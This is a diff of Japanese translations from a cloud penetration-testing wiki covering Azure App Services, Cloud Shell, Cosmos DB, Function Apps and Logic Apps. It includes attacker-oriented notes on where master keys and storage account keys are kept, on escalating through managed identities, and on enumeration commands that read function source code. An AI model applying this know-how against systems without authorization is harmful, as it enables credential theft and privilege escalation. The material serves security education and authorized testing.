|
||||
### ローカルからのPython
|
||||
|
||||
@@ -214,7 +283,7 @@ cd msdocs-python-flask-webapp-quickstart
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が見えます。
|
||||
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
|
||||
|
||||
> [!TIP]
|
||||
> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
|
||||
@@ -226,10 +295,10 @@ SCMポータルにログインするか、FTP経由でログインすると、`/
|
||||
このチュートリアルは前のものに基づいていますが、Githubリポジトリを使用しています。
|
||||
|
||||
1. Githubアカウントでリポジトリmsdocs-python-flask-webapp-quickstartをフォークします。
|
||||
2. Azureで新しいPython Webアプリを作成します。
|
||||
2. Azureで新しいPython Web Appを作成します。
|
||||
3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。
|
||||
|
||||
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が見えます。
|
||||
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
|
||||
|
||||
> [!TIP]
|
||||
> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell**は、Azureリソースを管理するために設計されたインタラクティブで認証されたブラウザアクセス可能なターミナルで、BashまたはPowerShellのいずれかで作業する柔軟性を提供します。これは、20分の非アクティブ状態の後にタイムアウトする一時的なセッションホスト上で実行され、$HOMEロケーションに5GBのファイル共有を使用してファイルを保持します。Cloud Shellは、Azureポータル、shell.azure.com、Azure CLIおよびPowerShellドキュメント、Azureモバイルアプリ、Visual Studio Code Azureアカウント拡張機能など、複数のポイントからアクセスできます。
|
||||
|
||||
このサービスには権限が割り当てられていないため、特権昇格技術はありません。また、何らかの列挙もありません。
|
||||
|
||||
### 主な機能
|
||||
|
||||
**環境**: Azure Cloud Shellは、クラウドインフラストラクチャ用に設計されたMicrosoft独自のLinuxディストリビューションであるAzure Linux上で実行されることにより、安全な環境を提供します。Azure Linuxリポジトリに含まれるすべてのパッケージは、サプライチェーン攻撃から守るためにMicrosoftによって内部的にコンパイルされています。
|
||||
**プリインストールツール**: Cloud Shellには、Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacsなどのテキストエディタなど、包括的なプリインストールツールセットが含まれています。これらのツールはすぐに使用できます。インストールされたパッケージとモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、「pip3 list」を使用できます。
|
||||
**$HOMEの永続性**: Azure Cloud Shellを初めて起動するとき、ストレージアカウントを添付するかしないかを選択できます。ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。セッション間でファイルを保持するには、ストレージアカウントをマウントし、これが自動的に**$HOME\clouddrive**として添付され、**$HOME**ディレクトリはAzure File Shareに**.img**ファイルとして保存されます。ただし、$HOME外のファイルとマシンの状態は保持されません。SSHキーなどの秘密を安全に保存するには、Azure Key Vaultを使用してください。
|
||||
**Azureドライブ (Azure:)**: Azure Cloud ShellのPowerShellには、Azureリソース(Compute、Network、Storageなど)をファイルシステムのようなコマンドを使用して簡単にナビゲートできるAzureドライブ(Azure:)が含まれています。cd Azure:でAzureドライブに切り替え、cd ~でホームディレクトリに戻ります。どのドライブからでもリソースを管理するためにAzure PowerShellコマンドレットを使用することもできます。
|
||||
**カスタムツールのインストール**: ストレージアカウントでCloud Shellを構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## 永続性
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -17,11 +17,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** は、単一桁のミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、ベクトルデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースAPI、人気のある言語用のSDK、統合ベクトルサポートやシームレスなAzure AI統合などのAIデータベース機能を通じて、アプリ開発を加速します。
|
||||
**Azure Cosmos DB** は、単一桁のミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、ベクターデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースの API、人気のある言語用の SDK、統合ベクターサポートやシームレスな Azure AI 統合などの AI データベース機能を通じて、アプリ開発を加速します。
|
||||
|
||||
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、カラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベースAPIを提供し、これらのAPIはNoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、Tableです。
|
||||
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、カラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベース API を提供します。これらの API は NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、Table です。
|
||||
|
||||
CosmosDBの重要な側面の1つはAzure Cosmos Accountです。**Azure Cosmos Account** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、使用する特定のAPI(NoSQLなど)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するために、グローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
|
||||
CosmosDB の重要な側面の一つは Azure Cosmos アカウントです。**Azure Cosmos アカウント** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、使用する特定の API(NoSQL など)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するグローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API は、JSON をデータ形式として使用するドキュメントベースの API です。これは、JSON オブジェクトをクエリするための SQL に似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです:
|
||||
@@ -173,7 +173,7 @@ print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
接続を確立する別の方法は、**DefaultAzureCredential()**を使用することです。権限を持つアカウントでログイン(az login)するだけで実行できます。この場合、必要な権限を与える役割の割り当てを行う必要があります(詳細については参照してください)。
|
||||
接続を確立する別の方法は、**DefaultAzureCredential()**を使用することです。権限を持つアカウントでログイン(az login)し、それを実行するだけです。この場合、必要な権限を与える役割の割り当てを行う必要があります(詳細については参照してください)。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Azure Function Apps** は **サーバーレスコンピューティングサービス** で、基盤となるインフラを管理することなく、**関数**と呼ばれる小さなコードの断片を実行できます。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**に応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
|
||||
**Azure Function Apps** は **サーバーレスコンピューティングサービス** であり、基盤となるインフラストラクチャを管理することなく、**関数**と呼ばれる小さなコードの断片を実行することを可能にします。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**に応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
|
||||
|
||||
> [!NOTE]
|
||||
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure Apps(CLIでは`webapp`)として作成されたアプリケーションでも使用されます。
|
||||
@@ -13,80 +13,80 @@
|
||||
|
||||
- **Flex Consumption Plan**: **動的でイベント駆動型のスケーリング**を提供し、需要に応じて関数インスタンスを追加または削除する従量課金制です。**仮想ネットワーキング**と**事前プロビジョニングされたインスタンス**をサポートし、コールドスタートを減少させ、コンテナサポートを必要としない**変動するワークロード**に適しています。
|
||||
- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、**関数が実行されるときのみコンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。
|
||||
- **Premium Plan**: **一貫したパフォーマンス**を提供し、コールドスタートを排除するための**事前ウォームアップされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
|
||||
- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
|
||||
- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当てを必要とする**長時間実行されるアプリケーション**に最適です。
|
||||
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイでき、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
|
||||
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイすることを可能にし、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
|
||||
|
||||
### **ストレージバケット**
|
||||
|
||||
新しいFunction Appをコンテナ化せずに作成する場合(実行するコードを提供する場合)、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
|
||||
コンテナ化されていない新しいFunction Appを作成する際、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
|
||||
|
||||
さらに、バケット内のコードを変更すると(保存されるさまざまな形式で)、**アプリのコードは新しいものに変更され、次回Functionが呼び出されると実行されます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> これは攻撃者の視点から非常に興味深いもので、**このバケットに対する書き込みアクセス**があれば、攻撃者は**コードを妥協し、Function App内の管理されたIDの権限を昇格させる**ことができます。
|
||||
> これは攻撃者の視点から非常に興味深いものであり、**このバケットに対する書き込みアクセス**があれば、攻撃者は**コードを妥協し、Function App内の管理されたIDの権限を昇格させる**ことができます。
|
||||
>
|
||||
> これについては**権限昇格セクション**で詳しく説明します。
|
||||
|
||||
ストレージアカウント内のコンテナ**`azure-webjobs-secrets`**に、フォルダ**`<app-name>`**内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
|
||||
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に、フォルダ **`<app-name>`** 内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
|
||||
|
||||
Functionsは、リモートロケーションにコードを保存することも可能で、URLを指定するだけで済みます。
|
||||
|
||||
### ネットワーキング
|
||||
|
||||
HTTPトリガーを使用すると:
|
||||
HTTPトリガーを使用する場合:
|
||||
|
||||
- **インターネット全体から関数へのアクセスを提供**することが可能で、認証を必要とせず、IAMベースのアクセスを提供することもできます。ただし、このアクセスを制限することも可能です。
|
||||
- **インターネット全体から関数へのアクセスを提供**することが可能で、認証を必要としないか、IAMベースのアクセスを提供することができます。ただし、このアクセスを制限することも可能です。
|
||||
- **内部ネットワーク(VPC)**からFunction Appへのアクセスを**提供または制限**することも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> これは攻撃者の視点から非常に興味深いもので、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。
|
||||
> これは攻撃者の視点から非常に興味深いものであり、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。
|
||||
|
||||
### **Function Appの設定と環境変数**
|
||||
|
||||
アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数**`AzureWebJobsStorage`**と**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
|
||||
アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる可能性があります。さらに、デフォルトで環境変数 **`AzureWebJobsStorage`** と **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
|
||||
|
||||
これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`**が存在する場合、アプリケーションのコードがあるURLを示します。
|
||||
これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`** が存在する場合、アプリケーションのコードがあるURLを示します。
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot`**にあり、ファイル**`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは**`app`**(sudo権限なし)です。
|
||||
Linuxサンドボックス内では、ソースコードは **`/home/site/wwwroot`** にあり、ファイル **`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは **`app`** で、sudo権限はありません。
|
||||
|
||||
**Windows**関数でNodeJSを使用している場合、コードは**`C:\home\site\wwwroot\HttpTrigger1\index.js`**にあり、ユーザー名は**`mawsFnPlaceholder8_f_v4_node_20_x86`**で、**グループ**には`Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users`が含まれていました。
|
||||
**Windows**関数でNodeJSを使用している場合、コードは **`C:\home\site\wwwroot\HttpTrigger1\index.js`** にあり、ユーザー名は **`mawsFnPlaceholder8_f_v4_node_20_x86`** で、**グループ**には `Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users` が含まれていました。
|
||||
|
||||
### **管理されたIDとメタデータ**
|
||||
|
||||
[**VMs**](vms/index.html)と同様に、Functionsは2種類の**管理されたID**を持つことができます:システム割り当てとユーザー割り当て。
|
||||
|
||||
**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる管理されたID**であり、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる管理されたID**です。
|
||||
**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる**管理されたIDであり、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる**管理されたIDです。
|
||||
|
||||
> [!NOTE]
|
||||
> [**VMs**](vms/index.html)と同様に、Functionsは**1つのシステム割り当て**の管理されたIDと**複数のユーザー割り当て**の管理されたIDを持つことができるため、関数を妥協した場合は、すべての管理されたIDを見つけることが常に重要です。1つのFunctionから複数の管理されたIDに権限を昇格させることができるかもしれません。
|
||||
>
|
||||
> システム管理されたIDが使用されていない場合でも、1つ以上のユーザー管理されたIDが関数に添付されている場合、デフォルトではトークンを取得することはできません。
|
||||
> システム管理されたIDが使用されていないが、1つ以上のユーザー管理されたIDが関数に添付されている場合、デフォルトではトークンを取得することはできません。
|
||||
|
||||
[**PEASSスクリプト**](https://github.com/peass-ng/PEASS-ng)を使用して、メタデータエンドポイントからデフォルトの管理されたIDのトークンを取得することが可能です。また、以下のように**手動で**取得することもできます:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
関数に添付されている**すべての管理されたIDを確認する方法を見つける**必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。
|
||||
関数に添付されている**すべての管理されたIDを確認する方法を見つける必要がある**ことに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを確認してください)。
|
||||
|
||||
## アクセスキー
|
||||
|
||||
> [!NOTE]
|
||||
> 関数を呼び出すためにユーザーにアクセスを与えるRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
|
||||
> ユーザーが関数を呼び出すためのアクセスを与えるRBAC権限は存在しないことに注意してください。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
|
||||
|
||||
HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。3つのオプションがあります:
|
||||
|
||||
- **ANONYMOUS**: **誰でも**URLを通じて関数にアクセスできます。
|
||||
- **FUNCTION**: エンドポイントは**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
|
||||
- **ADMIN**: エンドポイントは**マスターキー**を持つユーザーのみがアクセスできます。
|
||||
- **FUNCTION**: エンドポイントは、**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
|
||||
- **ADMIN**: エンドポイントは、**マスターキー**を持つユーザーのみがアクセスできます。
|
||||
|
||||
**キーの種類:**
|
||||
|
||||
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかで、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。これにより、エンドポイントに対するより細かいアクセスが可能になります。
|
||||
- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかで、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。
|
||||
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーで、権限が昇格されます。この**キーは取り消すことができません**。
|
||||
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかであり、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。これにより、エンドポイントに対するより細かいアクセスが可能になります。
|
||||
- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかであり、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。
|
||||
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを含む管理キーであり、権限が昇格されます。この**キーは取り消すことができません**。
|
||||
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。
|
||||
|
||||
> [!TIP]
|
||||
@@ -96,7 +96,7 @@ HTTPトリガーを使用して関数内にエンドポイントを作成する
|
||||
|
||||
### 基本認証
|
||||
|
||||
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については:
|
||||
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Githubベースのデプロイメント
|
||||
|
||||
関数がGithubリポジトリから生成されると、Azure Webコンソールは**特定のリポジトリにGithubワークフローを自動的に作成**することを許可します。これにより、このリポジトリが更新されるたびに関数のコードが更新されます。実際、Python関数のGithub Action YAMLは次のようになります:
|
||||
関数がGithubリポジトリから生成されると、Azure Webコンソールは**特定のリポジトリにGithubワークフローを自動的に作成する**ことを許可します。これにより、このリポジトリが更新されるたびに関数のコードが更新されます。実際、Python関数のGithub Action yamlは次のようになります:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできるようになります。これは、**Managed Identity**上にフェデレーテッド資格情報を生成することによって行われ、**Issuer** `https://token.actions.githubusercontent.com` と **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` が許可されます。
|
||||
さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできるようになります。これは、**Managed Identity**上に連邦資格情報を生成することによって行われ、**Issuer** `https://token.actions.githubusercontent.com` と **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` が許可されます。
|
||||
|
||||
> [!CAUTION]
|
||||
> したがって、そのリポジトリを侵害した者は、関数およびそれに関連付けられたManaged Identitiesを侵害することができます。
|
||||
|
||||
### コンテナベースのデプロイメント
|
||||
|
||||
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、設定にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、設定に**image settings**が表示されます。
|
||||
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、Webコンソールでは、構成に**image settings**が表示されます。
|
||||
|
||||
さらに、**ソースコードは関数に関連するストレージアカウントに保存されません**。必要ないためです。
|
||||
さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されません。必要ないためです。
|
||||
|
||||
## 列挙
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
Get-AzFunctionApp -ResourceGroupName <String>
|
||||
|
||||
# Displays the regions where Azure Function Apps are available for deployment.
|
||||
Get-AzFunctionAppAvailableLocation
|
||||
|
||||
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、アプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を行うように設計されています。
|
||||
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス、データソース、アプリケーションを統合するワークフローを作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
|
||||
|
||||
